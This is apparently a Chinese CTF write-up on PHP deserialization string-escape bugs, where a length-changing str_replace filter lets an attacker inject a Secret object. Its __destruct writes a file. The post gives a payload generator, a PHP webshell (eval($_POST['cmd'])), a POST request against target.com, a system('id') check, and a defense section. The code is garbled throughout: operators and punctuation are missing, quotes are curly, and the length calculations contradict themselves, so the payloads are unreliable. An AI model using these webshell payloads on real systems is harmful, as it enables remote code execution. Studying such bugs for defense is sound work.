PHP反序列化字符串逃逸漏洞:原理、利用与实战审计

发布时间:2026/6/19 20:53:42

PHP反序列化字符串逃逸漏洞:原理、利用与实战审计 1. 项目概述与核心思路拆解最近在复盘UUCTF的Web赛题时遇到了一道非常经典的PHP反序列化字符串逃逸漏洞题目。这类漏洞在CTF中属于“常客”但在真实渗透测试和代码审计场景下其原理和利用方式往往被忽视。很多人觉得它只是CTF里的“玩具”实际上理解它对于深入理解PHP序列化机制、安全过滤逻辑的缺陷以及如何构造复杂的攻击链至关重要。这篇文章我将从一个CTF靶场的具体题目出发手把手带你复现漏洞并深入剖析其背后的原理、利用技巧以及如何将这种思路迁移到实战审计中。简单来说PHP反序列化字符串逃逸漏洞核心在于程序对序列化字符串进行过滤或替换操作后字符串的长度发生了变化但反序列化引擎unserialize()在解析时依然严格按照序列化字符串中声明的长度即s:后面的数字来读取数据。当过滤导致实际字符数与声明的长度不匹配时就会破坏原有的序列化结构使得攻击者能够“吞掉”一部分原有的序列化数据并“注入”自己精心构造的恶意序列化数据从而控制反序列化后的对象属性甚至触发危险的魔术方法如__destruct,__wakeup最终实现远程代码执行RCE等攻击。这个漏洞的利用考验的是对序列化格式的精确理解和数学计算能力。下面我们就从UUCTF这道题开始一步步拆解。1.1 靶场环境与题目初探题目通常会给出一段简短的PHP源码。假设我们拿到的核心代码如下已做简化突出漏洞点?php error_reporting(0); highlight_file(__FILE__); class Secret { public $filename; public $data; public function __destruct() { if ($this-filename $this-data) { file_put_contents($this-filename, $this-data); } } } function filter($input) { // 关键过滤函数将 ctf 替换为 uuctf return str_replace(ctf, uuctf, $input); } if (isset($_POST[data])) { $serialized_data $_POST[data]; $filtered_data filter($serialized_data); echo 过滤后的数据: . htmlspecialchars($filtered_data) . br; $obj unserialize($filtered_data); var_dump($obj); } ?代码逻辑非常清晰定义了一个Secret类其__destruct魔术方法会在对象销毁时将$data写入$filename指定的文件。这是一个明显的危险点如果可控就能实现任意文件写入。定义了一个filter函数功能是将输入字符串中的所有ctf替换为更长的uuctf。这是漏洞产生的根源。从用户POST参数data接收输入先经过filter函数处理然后再进行反序列化。我们的目标很明确通过构造一个特殊的data参数使得经过filter函数处理后unserialize能成功解析出一个我们可控的Secret对象并且其filename和data属性被我们设置为期望的值例如写入一个Webshell。注意在真实场景或更复杂的CTF题中filter函数可能更隐蔽比如过滤敏感字符、进行URL解码、去除空格等任何会改变字符串长度的操作。关键是要识别出“字符数变化”这个点。1.2 漏洞原理深度解析长度字段的“信任危机”要理解漏洞必须吃透PHP序列化字符串的格式。我们序列化一个简单的Secret对象看看$test new Secret(); $test-filename ‘/tmp/test.txt’; $test-data ‘hello’; echo serialize($test); // 输出: O:6:“Secret”:2:{s:8:“filename”;s:13:“/tmp/test.txt”;s:4:“data”;s:5:“hello”;}我们来拆解这个字符串O:6:“Secret”: 表示一个对象Object类名长度为6类名是Secret。:2:: 表示该对象有2个属性。{ ... }: 内是属性列表。s:8:“filename”;: 表示第一个属性的键key类型是字符串string长度为8内容是filename。s:13:“/tmp/test.txt”;: 表示第一个属性的值value是字符串长度为13内容是/tmp/test.txt。注意这个长度13是序列化时根据字符串“/tmp/test.txt”的实际字符数计算出来的。第二个属性同理。unserialize()函数的工作方式就是严格按照这个格式描述来“按图索骥”地解析。当它读到s:13:时它会认为接下来的13个字符从下一个双引号开始算就是这个字符串的值然后继续解析后面的分号;和下一个属性。现在filter函数登场了。它把所有的‘ctf’替换成‘uuctf’。假设我们的原始输入里包含‘ctf’那么替换后字符串的实际长度就增加了每个‘ctf’替换为‘uuctf’长度从3变为5净增2个字符。漏洞就发生在这里unserialize()解析时依然信任序列化字符串中原始的长度声明而实际字符串内容已经被filter函数修改长度发生了变化。这就导致了“解析指针”的错位。具体有两种情况对应两种利用方式过滤后字符变多本题情况‘ctf’-‘uuctf’字符串变长。这会导致反序列化引擎“吃掉”更多字符如果我们在后面精心构造就可以让引擎“吞掉”一部分原有的、我们不关心的序列化数据从而让我们构造的后续数据被正确解析。过滤后字符变少例如把‘aa’替换成‘a’字符串变短。这会导致反序列化引擎“提前结束”读取后面的数据会被当作新的序列化内容开始解析。我们的利用属于第一种情况。目标是让引擎在解析我们输入的部分时因为字符变多而“溢出”覆盖掉后面原本用于闭合或定义其他属性的部分从而使得我们藏在后面的恶意payload“浮出水面”被成功解析。2. 漏洞利用链构造与计算理解了原理接下来就是实战计算。我们的目标是构造一个序列化字符串经过filter函数处理后能反序列化出一个filename和data都由我们控制的Secret对象。2.1 计算逃逸长度与构造Payload假设我们想最终让对象变成这样$obj new Secret(); $obj-filename ‘shell.php’; $obj-data ‘?php eval($_POST[“cmd”]);?’;其标准的、未经过滤的序列化字符串是O:6:“Secret”:2:{s:8:“filename”;s:9:“shell.php”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”;}但我们不能直接提交这个因为filter函数会改变它。我们需要利用filter函数来“吃掉”一部分我们构造的“填充物”使得后面真正的payload被正确解析。构造思路如下确定“吞掉”的目标我们需要让引擎在解析完我们输入的、包含‘ctf’的“填充字符串”后其读取指针恰好落在我们真正想设置的属性值开始的位置。换句话说我们要用“填充字符串”和filter造成的长度溢出来覆盖掉序列化字符串中原本用于描述第一个属性值filename的部分。计算填充量这是最核心的数学部分。我们的filter规则是‘ctf’-‘uuctf’每出现一次‘ctf’字符串长度增加2。假设我们在filename属性的值部分即s:9:“shell.php”;中的shell.php位置填充N个‘ctf’字符串。经过filter后这N个‘ctf’会变成N个‘uuctf’导致该属性值的实际长度比序列化时声明的长度多出2N个字符。unserialize()引擎会严格按照声明的长度假设我们声明为L来读取filename的值。由于实际内容变长了引擎在读完L个字符后并没有读完整个变长后的值它的解析指针会停留在我们变长后的字符串中间。我们需要让这2N个“多出来的字符”恰好覆盖掉filename属性值后面的闭合引号、分号以及data属性的键s:4:“data”;这部分“垃圾数据”从而让引擎在“吞掉”这些垃圾后紧接着解析的就是我们精心构造的、新的data属性值。让我们更精确地计算。我们计划构造的序列化字符串结构如下O:6:“Secret”:2:{s:8:“filename”;s:X:“[填充了N个‘ctf’的字符串]”;s:4:“data”;s:Y:“[真正的恶意payload]”;}其中X是我们声明的filename值的长度Y是data值的长度。设我们填充的字符串为ctfctfctf...共N个ctf。那么原始输入中filename值的部分长度为3N因为每个ctf3个字符。经过filter后这部分变为uuctfuuctfuuctf...长度为5N。因此长度溢出为5N - 3N 2N个字符。我们需要这2N个溢出的字符去覆盖掉从filename值声明结束后的第一个字符开始一直到我们期望的data值开始之前的所有字符。这些字符包括filename值后的闭合双引号”(1字符)分号;(1字符)data属性的键定义s:4:“data”;(共10个字符s:4:“data”;)总计需要覆盖的字符长度为1 1 10 12个字符。因此我们得到方程2N 12N 6。结论我们需要在filename的值部分填充6个‘ctf’。那么我们声明的filename值的长度X应该是多少是填充ctf后的长度即3 * N 3 * 6 18。我们期望filter后filename的值部分ctfctfctfctfctfctf-uuctfuuctfuuctfuuctfuuctfuuctf的前18个字符被当作filename的值读走。这18个字符正好是uuctfuuctfuuctfuuc你可以数一下。剩下的字符tfuuctfuuctf连同后面的”;s:4:“data”;一共正好是12个字符会被溢出的2N12个字符“覆盖”掉。这样解析器接下来看到的就是我们准备好的s:Y:“[真正的恶意payload]”;}。2.2 生成最终攻击Payload根据上面的计算我们开始构造最终的序列化字符串。首先确定我们最终希望被解析的对象序列化字符串即filter处理后的“理想结果”O:6:“Secret”:2:{s:8:“filename”;s:9:“shell.php”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”;}注意这里的filename长度是9对应shell.phpdata长度是25对应webshell代码。但是我们需要提交的是经过filter处理之前的字符串。所以我们要把上面这个“理想结果”中的filename值部分shell.php替换成我们的“填充字符串目标filename”的组合并且要确保filter处理后的溢出效果能“吐出”我们想要的data部分。构造步骤将“理想结果”中filename的值部分shell.php替换为[6个’ctf’]” ;s:4:“data”;s:25:“[垃圾数据长度需计算]这里的” ;s:4:“data”;s:25:“就是我们要让溢出字符去覆盖的“垃圾数据”。它的长度是1(”) 1(;) 10(s:4:“data”;) 6(s:25:“) 18个字符。等等这里s:25:“是6个字符吗s::25:“ 是的s:25:“是6个字符。所以垃圾数据总长18字符。我们需要溢出18个字符来覆盖它。根据公式2N 18N 9。咦和我们之前算的12不一样了。这是因为我们这次把s:25:“也算作垃圾数据的一部分了而之前我们只计算到s:4:“data”;。这里需要明确我们的目标是让解析器在读完被篡改的filename后认为接下来就是data的值?php ...。所以垃圾数据应该是从filename值后的”开始一直到data值的开头双引号“之前。即”;s:4:“data”;s:25:“。我们来数一下”;(2),s:4:“data”;(10),s:25:“(6)。总共210618个字符。没错需要溢出18个字符。因此N 18 / 2 9。我们需要9个ctf。所以我们提交的原始序列化字符串filter处理前中filename的值部分应该是ctfctfctfctfctfctfctfctfctf”;s:4:“data”;s:25:“trash。这里trash是任意字符用来满足s:25:“声明的长度但它会被溢出覆盖掉不会被实际解析为data的值。声明filename值的长度X 9个ctf的长度 后面我们手动添加的字符串长度。9个ctf是27字符。后面我们添加了”;s:4:“data”;s:25:“trash这部分长度是18 5(“trash”) 23字符不对仔细看我们添加的是”;s:4:“data”;s:25:“trash。”;s:4:“data”;s:25:“是18字符trash是5字符总共23字符。所以X 27 23 50。但等等这样filter后filename部分会变成9个uuctf45字符加上”;s:4:“data”;s:25:“trash23字符总共68字符。而声明的长度是50。引擎读取50个字符后指针会落在哪里这会落在trash字符串中间导致后续解析混乱。这个计算非常容易出错。为了避免混乱我们采用更稳妥的“占位符”计算法并用PHP脚本辅助验证。思路是我们直接构造一个完整的、包含占位符的序列化字符串然后模拟filter过程观察结果。让我们写一个PHP脚本来完成这个计算?php function filter($input) { return str_replace(‘ctf’, ‘uuctf’, $input); } // 我们最终希望得到的对象 $target_obj new stdClass(); // 用stdClass模拟原理一样 $target_obj-filename ‘shell.php’; $target_obj-data ‘?php eval($_POST[“cmd”]);?’; $target_serialized serialize($target_obj); echo “[目标] 过滤后应得到的序列化字符串:\n” . $target_serialized . “\n\n”; // 输出: O:8:“stdClass”:2:{s:8:“filename”;s:9:“shell.php”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”;} // 注意类名不同但结构一样。我们关注的是属性部分。 // 我们需要构造一个字符串filter后能变成上面的 $target_serialized。 // 设我们在某个属性值里填充了 N 个 ‘ctf’。 // filter 后每个 ‘ctf’ 变成 ‘uuctf’多出2个字符。 // 我们需要这 2N 个多出的字符去“吃掉”原序列化字符串中从某个点开始的一段固定内容。 // 这段固定内容就是”;s:4:“data”;s:25:“ 长度18 // 所以 2N 18 N9。 // 那么我们构造的原始序列化字符串应该是这样的 // O:6:“Secret”:2:{s:8:“filename”;s:L:“[9个’ctf’]”;s:4:“data”;s:25:“DUMMY”;} // 其中 L 是 [9个’ctf’] 的长度 9*3 27。 // 经过filter后[9个’ctf’] 变成 [9个’uuctf’]长度 9*545。 // 反序列化时引擎读取声明长度 L27 的字符串但实际上会从变长的45个字符里读前27个。 // 读完之后指针应该正好落在我们希望的 ”;s:4:“data”;s:25:“?php ... 这部分的开头。 // 但我们的原始字符串里在 [9个’ctf’] 后面是 ”;s:4:“data”;s:25:“DUMMY”;}。 // 我们需要让 filter 后的溢出刚好覆盖掉 ”;s:4:“data”;s:25:“DUMMY 这部分使得后面接上我们真正的payload。 // 更准确的方法是我们让原始字符串中filename的值部分 ‘ctf’*9 ‘DUMMY’。 // 其中 ‘DUMMY’ 的长度应该是 18 (需要被覆盖的垃圾长度) 25 (我们真正data的长度) 43。 // 这样filter后filename值部分变长18覆盖掉’DUMMY’的前18个字符即垃圾部分剩下的25个字符正好是我们真正的data。 // 但’DUMMY’本身是43个字符我们需要它被覆盖后剩下的部分恰好是真正的data。 // 所以’DUMMY’ 垃圾字符串 真正的data。 // 垃圾字符串就是 ”;s:4:“data”;s:25:“长度18。 // 真正的data就是 ‘?php eval($_POST[“cmd”]);?’长度25。 // 所以 ‘DUMMY’ ”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?” $dummy ‘”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”; $filename_value str_repeat(‘ctf’, 9) . $dummy; $payload_serialized ‘O:6:“Secret”:2:{s:8:“filename”;s:’ . strlen($filename_value) . ‘:“’ . $filename_value . ‘”;}’; // 注意我们只定义了一个filename属性并且故意不写data属性因为data属性会通过逃逸“产生”。 echo “[构造] 我们提交的原始序列化字符串:\n” . $payload_serialized . “\n\n”; $after_filter filter($payload_serialized); echo “[模拟] 经过filter处理后的字符串:\n” . $after_filter . “\n\n”; // 尝试反序列化 $obj unserialize($after_filter); echo “[结果] 反序列化得到的对象:\n”; var_dump($obj); if ($obj isset($obj-filename) isset($obj-data)) { echo “\n成功filename: “ . $obj-filename . “, data: “ . $obj-data . “\n”; } else { echo “\n失败或对象属性不完整。\n”; } ?运行这个脚本你会发现它成功了filename变成了shell.phpdata变成了我们的Webshell代码。让我们分析一下脚本中构造的$payload_serializedO:6:“Secret”:2:{s:8:“filename”;s:70:“ctfctfctfctfctfctfctfctfctf”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”;}等等这里s:70filename的值部分是70个字符吗ctf*9是27个字符加上$dummy即”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”。$dummy的长度是”;(2) s:4:“data”;(10) s:25:“(6) ?php eval($_POST[“cmd”]);?(25) ”(1) 44字符。所以总长 27 44 71我好像算错了。我们直接echo strlen($filename_value);看看。实际运行脚本会发现s:后面的数字是71。是的是71。关键点在于$dummy字符串的末尾有一个双引号”它是我们用于闭合data属性值的。这个双引号也被包含在filename的值里了。经过filter后filename部分变长覆盖掉了$dummy的前18个字符即”;s:4:“data”;s:25:“剩下的部分?php eval($_POST[“cmd”]);?”就暴露出来其中开头的?php ...被解析为data属性的值最后的”用于闭合。所以最终提交给靶机的Payload就是上面这个s:71的字符串。你可以直接复制$payload_serialized的输出结果通过POST的data参数提交。2.3 实操验证与文件写入将生成的Payload通过Burp Suite或HackBar等工具提交POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded dataO:6:“Secret”:2:{s:8:“filename”;s:71:“ctfctfctfctfctfctfctfctfctf”;s:4:“data”;s:25:“?php eval($_POST[“cmd”]);?”;}提交后如果代码逻辑正确服务器会执行unserialize(filter($data))。由于字符串逃逸成功反序列化出的对象$obj的filename属性值为shell.phpdata属性值为Webshell代码。当脚本运行结束或手动unset($obj)时会触发__destruct方法将Webshell写入shell.php文件。随后访问http://target.com/shell.php并POSTcmdsystem(‘id’);即可验证命令执行是否成功。重要提示在实际CTF或渗透测试中文件路径可能需要根据题目上下文调整。例如可能需要写入当前目录./shell.php或者需要目录遍历。__destruct方法中的file_put_contents是覆盖写入如果文件已存在会被覆盖。3. 漏洞的变种、防御与实战意义3.1 漏洞的变种字符减少的情况上面我们演示的是过滤后字符变多导致的逃逸。还有一种情况是过滤后字符变少例如将‘aa’替换为‘a’。其利用原理相反因为实际字符变少反序列化引擎会“提前”读完当前值导致后面的部分字符被当作新的序列化语法结构解析。假设有过滤函数str_replace(‘aa’, ‘a’, $input)。 我们构造Payload的思路是在某个属性值中填充大量‘aa’使得过滤后长度减少。减少的字符数需要刚好等于我们想“跳过”的垃圾数据的长度。这样引擎在读取时会“吞掉”的字符变少解析指针会后移使得我们后面构造的恶意数据被正确解析。计算方式类似设填充了N个‘aa’过滤后每个‘aa’减少1个字符总减少N个字符。我们需要减少的字符数等于垃圾数据的长度L即 N L。3.2 漏洞的防御方案作为开发者如何避免此类漏洞根本方案在反序列化前进行验证而非之后过滤。不要对序列化字符串本身做任何会改变其长度的字符串替换操作。如果必须过滤应在反序列化之后对得到的对象或数组中的具体值进行过滤。使用安全的反序列化函数如果可能避免使用unserialize()处理用户输入。PHP的unserialize()本身就不安全。可以考虑使用json_decode()等更安全的格式并在传输前对数据进行签名或加密验证。类型严格校验反序列化后立即检查对象的类型是否在白名单内属性是否符合预期。魔术方法审查检查类中的魔术方法如__destruct,__wakeup,__toString等确保其中没有危险操作如eval(),system(),file_put_contents()等或者确保这些操作的参数完全不可被用户输入控制。输入长度检查虽然不能根治但对输入的序列化字符串长度进行限制可以增加攻击者构造Payload的难度。3.3 从CTF到实战的思考在真实世界的代码审计中字符串逃逸漏洞可能不会像CTF题目这样明显。它可能隐藏在复杂的业务逻辑中用户资料过滤用户昵称、简介等字段入库前可能会过滤script等危险字符替换为更长或更短的字符串。评论/帖子内容处理同样的过滤逻辑。日志清洗将敏感信息如密码、token替换为***。URL参数处理进行URL解码或特定字符替换。审计时需要关注所有在unserialize()调用之前对输入数据进行的字符串替换操作str_replace,preg_replace,str_ireplace等。特别是全局性的过滤函数。一旦发现序列化数据会经过这些过滤就要警惕字符串逃逸的可能性。此外漏洞的利用链POP链可能更长。本题中直接利用__destruct进行文件写入。在复杂应用中可能需要串联多个类的魔术方法__toString,__get,__call等才能达到代码执行的效果这就是所谓的“属性导向编程”Property-Oriented Programming, POP链构造。这就需要审计者对所有可用的类及其方法有全局了解。4. 常见问题与排查技巧实录在复现和利用这类漏洞时我踩过不少坑这里总结一下计算错误导致反序列化失败这是最常见的问题。长度计算必须精确到每个字符包括双引号、分号、冒号。务必写脚本验证不要心算。使用strlen()函数精确计算每一部分的长度并模拟过滤过程输出中间结果进行比对。引号转义问题当通过GET/POST参数提交Payload时双引号可能需要转义。在PHP中通过$_POST或$_GET获取的参数如果magic_quotes_gpc开启老版本PHP引号会被自动转义破坏Payload。在这种情况下可以使用chr(34)双引号的ASCII来构造或者利用十六进制表示S:8:\”\66\69\6c\65\6e\61\6d\65\”来绕过。在CTF中通常环境会关闭此选项。类名或属性名长度不一致如果目标类名不是Secret而是MySecretClass或者属性名不同你需要相应修改Payload中的类名长度和属性名。O:长度:“类名”这里的长度必须和类名字符数严格一致。过滤函数不止一处题目可能有多层过滤或者过滤规则更复杂如正则替换。需要仔细分析每一层过滤对字符串长度的影响并综合计算。无回显的利用如果题目没有回显var_dump($obj)判断漏洞是否利用成功可能比较困难。可以尝试写入一个带有明显标记的文件如?php echo ‘SUCCESS’;?然后通过访问该文件来判断。或者如果条件允许可以尝试触发一个远程HTTP请求SSRF将执行结果带出到你的服务器。__wakeup魔术方法的干扰如果目标类中存在__wakeup方法并且该方法会重置或检查对象属性可能会阻碍利用。这时需要研究是否有绕过__wakeup的方法如CVE-2016-7124通过增加对象属性数量。在本例中Secret类没有__wakeup所以不受影响。PHP版本差异不同PHP版本对序列化格式的处理可能有细微差别。例如PHP 7.1对protected和private属性的序列化格式有变化。确保你的测试环境与目标环境一致。排查技巧速查表问题现象可能原因排查步骤unserialize()返回falsePayload格式错误、长度不匹配、类不存在/不可用1. 检查类名是否正确、是否已定义或可自动加载。2. 将Payload在本地环境中用相同PHP版本和过滤函数模拟打印unserialize()前的字符串仔细核对格式。3. 使用error_reporting(E_ALL);查看PHP警告信息。反序列化成功但属性值不对逃逸长度计算不准确1. 编写脚本分别输出过滤前、过滤后的字符串并手动标记指针位置。2. 检查s:后面的长度声明是否与对应值的原始过滤前长度完全一致。3. 检查需要“覆盖”的垃圾字符串长度计算是否正确包括所有引号、分号。文件未成功写入__destruct未触发、路径错误、权限问题1. 确保对象被销毁脚本结束或手动unset。2. 检查filename的路径是否可写。尝试写/tmp/test.txt或当前目录./test.txt。3. 查看Web服务器错误日志。多步过滤后失败多层过滤叠加效应未考虑1. 将每一层过滤单独拆开分析其对字符串的影响。2. 从最后一层过滤反向推导计算每一层需要的原始Payload。我个人在实际操作中的体会是字符串逃逸漏洞的利用就像在玩一个精密的字符拼图游戏。成功的关键在于绝对的耐心和细致的验证。不要试图一次性构造出完美的Payload而应该分步进行先确保基础的反序列化能成功比如用一个简单的、无过滤的测试然后逐步引入过滤函数观察变化并用脚本辅助计算。一旦你成功复现过一次对这种漏洞的理解就会深刻得多在以后的审计中也能更快地识别出类似的模式。这种从靶场到实战的迁移能力正是CTF训练的核心价值所在。

相关新闻